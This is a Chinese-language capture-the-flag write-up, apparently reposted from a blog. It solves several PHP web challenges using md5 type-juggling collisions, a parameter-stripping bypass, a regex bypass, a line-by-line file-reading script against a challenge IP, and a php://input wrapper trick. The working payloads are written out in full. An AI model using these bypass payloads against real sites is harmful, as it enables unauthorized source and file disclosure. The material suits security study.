本文共 2528 字,大约阅读时间需要 8 分钟。
使用dirmap扫描到index.php.bak
include_once "flag.php";ini_set("display_errors", 0);$str = strstr($_SERVER['REQUEST_URI'], '?');$str = substr($str,1);$str = str_replace('key','',$str);parse_str($str);echo md5($key1);echo md5($key2);if(md5($key1) == md5($key2) && $key1 !== $key2){ echo $flag."取得flag";}
这里有一个$_SERVER['REQUEST_URI']
,作用是获取url后面的东西
parse_str()
函数 $str = str_replace('key','',$str);
然后就是一个md5碰撞 payload: ?kekeyy1=QLTHNDT&kekeyy2=QNKCDZO
关键点在这里preg_match("/\\|\056\160\150\x70/i",$third)
其中\056\160\150\x70
是三个八进制一个十六进制,编码过来就是.php的意思
但是前面的\\|
看似是匹配了一个反斜杠,但其实就是字符串的转义
所以其实这个正则匹配的是|.php
关于两重转义
在正则表达式中要匹配一个反斜杠时,例如"\\",前后两个反斜杠在字符串中分别变成一个反斜杠,解释为两个反斜杠,再交由正则表达式解释为一个反斜杠,需要四个反斜杠。
substr()函数,从第五个字符开始截取,所以就在前填四个a,截取成.php
payload:?zero=ZmxhZw==&first=aaaa|.php
看url有一个firename,看一下是base64的样子
import requests url = "http://114.67.246.176:10454/index.php?line={}&filename=aW5kZXgucGhw"for i in range(30): u = url.format(i) res = requests.get(u).text print(res)
得到源码:
'keys.txt', '1' =>'index.php', );if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[2]='keys.php';}if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; }?>
cookie设置一个margin值为margin的时候可以访问keys.php,我们再把keys.php用base64编码一下放到filename去访问就可以了
url解码一次,发现确实有跳转的script
";if(!$_GET['id']){ header('Location: hello.php?id=1'); exit();}$id=$_GET['id'];$a=$_GET['a'];$b=$_GET['b'];if(stripos($a,'.')){ echo 'no no no no no no no'; return ;}$data = @file_get_contents($a,'r');if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){ $flag = "flag{ ***********}"}else{ print "never never never give up !!!";}?>
第一层我们要让(!$_GET['id'])
为true,id就要为0
可是与第二层的id==0矛盾
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){
PHP在识别的时候,哈希值为0e开头的都会被识别成0,所以id=0e123 第三层,file_get_contents($a,'r')
把文件$a的内容赋值给data,但是文件肯定有后缀,就会有"."
stripos($a,'.')
函数会检测$a里面有没有".",那就绕不过这个if了 所以需要借助php://input来把bugku is a nice plateform!
直接赋值给$a
第四层,eregi("111".substr($b,0,1),"1114")
函数,判断前的参数有没有在后面对参数里出现,类似于正则
当$b第一位为4的时候就会匹配成功,但是substr($b,0,1)!=4
说第一位不能是4,那就用"*"绕过
payload:?id=0e123&a=php://input&b=*aaaaaa
构造如下请求
转载地址:http://ndxwz.baihongyu.com/